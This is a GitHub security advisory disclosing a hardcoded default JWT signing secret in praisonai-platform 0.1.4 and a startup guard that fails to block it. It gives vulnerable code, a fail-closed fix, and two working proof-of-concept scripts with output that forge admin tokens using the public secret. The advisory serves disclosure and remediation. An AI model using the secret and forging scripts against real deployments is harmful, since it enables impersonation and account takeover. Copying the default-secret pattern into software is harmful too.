OSV 1.4.0 · github-reviewed · 修改于 2026-07-21 05:28
发布时间
2026-06-18 22:27
GitHub 审查时间
2026-06-18 22:27
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/06/GHSA-cwj8-7gp2-ggcw/GHSA-cwj8-7gp2-ggcw.json
dev-secret-change-meResearcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI
Package: praisonai-platform on PyPI
Latest version (and version tested): 0.1.4, current as of 2026-06-01.
File: praisonai_platform/services/auth_service.py (sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258).
Weakness: CWE-798 Use of Hardcoded Credentials + CWE-1188 Insecure Default Initialization of Resource.
praisonai_platform/services/auth_service.py lines 25-37:
_DEFAULT_SECRET = "dev-secret-change-me"
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", _DEFAULT_SECRET)
JWT_ALGORITHM = "HS256"
JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600)))
if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev":
raise RuntimeError(
"PLATFORM_JWT_SECRET must be set to a strong random value in production. "
"Set PLATFORM_ENV=dev to suppress this check during development."
)
The guard at line 33 is meant to catch the "deployed to production with the default secret" failure mode. But it only fires when both:
PLATFORM_JWT_SECRET unset (so JWT_SECRET is the default literal), andPLATFORM_ENV to something other than "dev".If the operator left both env vars unset — the most common mis-deploy — PLATFORM_ENV falls back to "dev", the second leg of the and evaluates False, and the guard does NOT fire. The server starts up signing every JWT with the public string .
'dev-secret-change-me'The fix is to invert the polarity: refuse startup when the secret is the default regardless of PLATFORM_ENV, except when an explicit PLATFORM_ALLOW_DEV_SECRET=true (or equivalent) flag is set. That flips "default-allow" to "default-deny", which is what the line-33 comment implies the author wanted.
Expected behavior, reading line 33 of auth_service.py:
"Good — the framework refuses to start in production with a
default-string secret. I'm safe by construction."
Actual behavior:
- PLATFORM_ENV defaults to 'dev' when unset.
- The guard checks PLATFORM_ENV != 'dev', not PLATFORM_ENV == 'production'
or "operator explicitly opted in to using the dev secret".
- So the "deployed without setting any env var" config — typical
for first-pip-install or quick-start docker — sits silently in
dev mode with the public secret.
Impact:
A guard that requires the operator to EXPLICITLY signal
"production" cannot catch operators who forgot to signal anything.
The forgot-to-signal case is the one the guard was designed to
catch.
poc/poc.py imports the installed PyPI package (praisonai-platform==0.1.4) with both env vars unset:
[1] startup guard at auth_service.py:33 status
Inputs:
JWT_SECRET = 'dev-secret-change-me'
_DEFAULT_SECRET = 'dev-secret-change-me'
PLATFORM_ENV = 'dev' (default 'dev')
-> JWT_SECRET == _DEFAULT_SECRET: True
-> PLATFORM_ENV != 'dev': False
-> guard fires? False
[2] module sha256: cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258
JWT_ALGORITHM: 'HS256'
[3] forge a JWT signed with the live JWT_SECRET
forged head: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[4] jwt.decode(forged_token, JWT_SECRET) — same call as
AuthService._verify_token at auth_service.py:139
decoded.sub = admin-user-id-attacker-chose
decoded.email= [email protected]
[5] AuthService._verify_token(forged_token) (live method call)
identity.id = admin-user-id-attacker-chose
identity.email = [email protected]
VERDICT: VULNERABLE
EXIT 0
Step [5] is the load-bearing one: the attacker token is decoded by the same method the FastAPI dependency get_current_user (praisonai_platform/api/deps.py:28) calls. The returned AuthIdentity carries the attacker-chosen sub (user id) and email. Every route protected by Depends(get_current_user) (register/login, workspaces, projects, issues, agents, labels, activity, dependencies) accepts the forged token as proof of identity.
PyJWT itself warns the key is 20 bytes — below the RFC 7518 §3.2 minimum of 32 bytes for HS256.
This is the familiar default-secret shape — a hardcoded fallback used to sign authentication tokens — with the additional twist that this one has a guard the author intended to catch the misconfiguration but whose polarity is wrong. Every route in praisonai_platform.api.app:create_app is authenticated via Bearer JWT, and every Bearer JWT is signed and verified with the public default secret. An unauthenticated network-adjacent attacker mints a token carrying any user-id (and any e-mail, name, etc.) they like, and the platform server treats them as that user.
Workspace authorisation (require_workspace_member in deps.py) then checks the forged user is a member of the requested workspace; if the attacker mints a token with sub equal to a known member's id, they bypass that check too. In default deployments, workspace IDs and member IDs are exposed via the activity and labels endpoints to any authenticated client — including the attacker's own forged token.
praisonai-platform 0.1.4, praisonai_platform/services/auth_service.py (file sha256 cc29d43c5412da2c73c818859b8d8b146587842999b777336017ab9d9e509258):
| Line | Code | Meaning |
|---|---|---|
| 25 | _DEFAULT_SECRET = "dev-secret-change-me" | Public default literal. |
| 26 | JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET", _DEFAULT_SECRET) | Env-var fallback chain. |
| 27 | JWT_ALGORITHM = "HS256" | HMAC-SHA256 with the default key. |
| 33-37 | if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev": raise RuntimeError(...) | The asymmetric guard. Defaults PLATFORM_ENV to "dev", so the != "dev" check evaluates False on the forgot-to-set case. |
| 108-118 | _issue_token(...) calls jwt.encode(payload, JWT_SECRET, …) | Signing site. |
| 137-150 | _verify_token(...) calls jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM]) | Verification site — accepts attacker-forged tokens. |
praisonai_platform/api/deps.py:28 get_current_user calls AuthService.authenticate({"token": token}) which routes to _verify_token. Every router under praisonai_platform.api.app mounts handlers behind this dependency.
Invert the guard polarity:
import secrets
_DEFAULT_SECRET = "dev-secret-change-me"
JWT_SECRET = os.environ.get("PLATFORM_JWT_SECRET")
JWT_ALGORITHM = "HS256"
JWT_TTL_SECONDS = int(os.environ.get("PLATFORM_JWT_TTL", str(30 * 24 * 3600)))
if not JWT_SECRET:
# Allow the dev fallback only when the operator EXPLICITLY signals
# they understand it. The default posture is fail-closed.
if os.environ.get("PLATFORM_ALLOW_DEV_SECRET", "").lower() == "true":
JWT_SECRET = _DEFAULT_SECRET
else:
raise RuntimeError(
"PLATFORM_JWT_SECRET is required. "
"For local development only, set PLATFORM_ALLOW_DEV_SECRET=true."
)
This pattern is borrowed from Django's SECRET_KEY first-boot generation (refuses to start when unset) and from the first-boot secret-generation pattern used by many production Docker images. The marker variable (PLATFORM_ALLOW_DEV_SECRET=true) is explicit and grep-able in deployment manifests, so operators who pass it through to production get caught by their own audit / IaC linter rather than slipping past a guard that always passes by default.
git clone --depth 1 https://github.com/MervinPraison/PraisonAIpoc.py) against the cloned source.poc.py
"""
PoC: praisonai-platform's default JWT signing key is the public literal
'dev-secret-change-me', and the guard intended to refuse production
startup checks the wrong axis — operators who deploy without setting
`PLATFORM_ENV` are treated as `dev` and silently get the public secret.
Prerequisite:
pip install praisonai-platform pyjwt
"""
import hashlib
import inspect
import os
import sys
def main() -> int:
# Simulate the realistic "operator pip-installed praisonai-platform
# and started uvicorn without setting any env var" deployment.
for env_var in ('PLATFORM_JWT_SECRET', 'PLATFORM_ENV'):
if env_var in os.environ:
del os.environ[env_var]
print('=' * 72)
print('praisonai-platform — default JWT secret')
print('=' * 72)
try:
from praisonai_platform.services import auth_service
except RuntimeError as e:
print(f'\nUNEXPECTED — import raised at startup: {e}')
return 1
src = inspect.getsourcefile(auth_service)
with open(src, 'rb') as f:
sha = hashlib.sha256(f.read()).hexdigest()
print()
print('[1] startup guard at auth_service.py:33 status')
print(f' JWT_SECRET = {auth_service.JWT_SECRET!r}')
print(f' _DEFAULT_SECRET = {auth_service._DEFAULT_SECRET!r}')
print(f" PLATFORM_ENV = {os.environ.get('PLATFORM_ENV', 'dev')!r} (default 'dev')")
print(' => Guard does NOT fire on the "operator forgot to set both" failure mode.')
print()
print('[2] module sha256 + key bindings on the LIVE installed package')
print(f' sha256: {sha}')
print(f' JWT_ALGORITHM: {auth_service.JWT_ALGORITHM!r}')
if auth_service.JWT_SECRET != 'dev-secret-change-me':
print('UNEXPECTED — JWT_SECRET is not the public literal.')
return 1
import jwt
from datetime import datetime, timedelta, timezone
now = datetime.now(timezone.utc)
forged_payload = {
'sub': 'admin-user-id-attacker-chose',
'email': '[email protected]',
'name': 'Spoofed Admin',
'iat': now,
'exp': now + timedelta(seconds=3600),
}
forged_token = jwt.encode(forged_payload, auth_service.JWT_SECRET, algorithm=auth_service.JWT_ALGORITHM)
print()
print('[3] forge a JWT signed with the live JWT_SECRET')
print(f' forged head: {forged_token[:70]}...')
decoded = jwt.decode(forged_token, auth_service.JWT_SECRET, algorithms=[auth_service.JWT_ALGORITHM])
print()
print('[4] jwt.decode(forged_token, JWT_SECRET) — same call as AuthService._verify_token')
print(f' decoded.sub = {decoded.get("sub")}')
print(f' decoded.email= {decoded.get("email")}')
if decoded.get('sub') != 'admin-user-id-attacker-chose':
print('UNEXPECTED — decoded payload mismatched.')
return 1
try:
svc = auth_service.AuthService(session=None)
identity = svc._verify_token(forged_token)
except Exception as e:
print(f' (Couldn\'t reach _verify_token: {e!r})')
identity = None
if identity is not None:
print()
print('[5] AuthService._verify_token(forged_token) (live method call)')
print(f' identity.id = {identity.id}')
print(f' identity.email = {identity.email}')
print()
print("VULNERABLE: praisonai-platform defaults JWT_SECRET to the public")
print(" literal 'dev-secret-change-me'. The line-33 guard only")
print(" refuses startup when PLATFORM_ENV is explicitly non-'dev'")
print(' AND the secret is default — operators who forgot to set')
print(' the env var entirely are silently in dev mode.')
print('VERDICT: VULNERABLE')
return 0
if __name__ == '__main__':
sys.exit(main())
This drives the unmodified upstream code rather than a reproduction.
import sys, types, importlib.util, os
os.environ.pop("PLATFORM_JWT_SECRET", None); os.environ.pop("PLATFORM_ENV", None) # default deploy
BASE = os.path.abspath("repos/PraisonAI/src/praisonai-platform")
def pkg(name, path=None):
m=types.ModuleType(name)
if path: m.__path__=[path]
sys.modules[name]=m; return m
def stub(name, **a):
m=types.ModuleType(name); [setattr(m,k,v) for k,v in a.items()]; sys.modules[name]=m
pkg("praisonai_platform", BASE+"/praisonai_platform")
pkg("praisonai_platform.services", BASE+"/praisonai_platform/services")
pkg("praisonai_platform.db", BASE+"/praisonai_platform/db")
stub("praisonai_platform.db.models", Member=type("Member",(),{}), User=type("User",(),{}))
stub("sqlalchemy", select=lambda *a,**k:None)
sa_async=types.ModuleType("sqlalchemy.ext.asyncio"); sa_async.AsyncSession=type("AsyncSession",(),{}); sys.modules["sqlalchemy.ext.asyncio"]=sa_async; sys.modules["sqlalchemy.ext"]=types.ModuleType("sqlalchemy.ext")
stub("passlib"); stub("passlib.context", CryptContext=type("CryptContext",(),{"__init__":lambda s,*a,**k:None,"hash":lambda s,x:x,"verify":lambda s,a,b:a==b}))
stub("praisonaiagents")
class AuthIdentity:
def __init__(self,id,type=None,email=None,name=None): self.id=id; self.type=type; self.email=email; self.name=name
stub("praisonaiagents.auth", AuthIdentity=AuthIdentity)
spec=importlib.util.spec_from_file_location("praisonai_platform.services.auth_service", BASE+"/praisonai_platform/services/auth_service.py")
mod=importlib.util.module_from_spec(spec); mod.__package__="praisonai_platform.services"
sys.modules[spec.name]=mod; spec.loader.exec_module(mod) # REAL auth_service.py
print("[*] REAL module JWT_SECRET =", repr(mod.JWT_SECRET), "| _DEFAULT_SECRET =", repr(mod._DEFAULT_SECRET))
AuthService=mod.AuthService
svc=AuthService.__new__(AuthService) # bypass DB __init__
FakeUser=type("U",(),{"id":"attacker-id","email":"[email protected]","name":"admin"})
tok=svc._issue_token(FakeUser) # REAL _issue_token (default secret)
print("[*] REAL _issue_token ->", tok[:46],"...")
ident=svc._verify_token(tok) # REAL _verify_token
print("[+] REAL _verify_token ->", {"id":ident.id,"email":ident.email,"name":ident.name})
assert ident and ident.id=="attacker-id" and mod.JWT_SECRET=="dev-secret-change-me"
print("[+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to 'dev')")
This PoC was executed against the live upstream code; captured output:
[*] REAL module JWT_SECRET = 'dev-secret-change-me' | _DEFAULT_SECRET = 'dev-secret-change-me'
[*] REAL _issue_token -> eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiO ...
[+] REAL _verify_token -> {'id': 'attacker-id', 'email': '[email protected]', 'name': 'admin'}
[+] CONFIRMED against real praisonai-platform repo: default 'dev-secret-change-me' issues+verifies a token via the repo's own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to 'dev')
Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.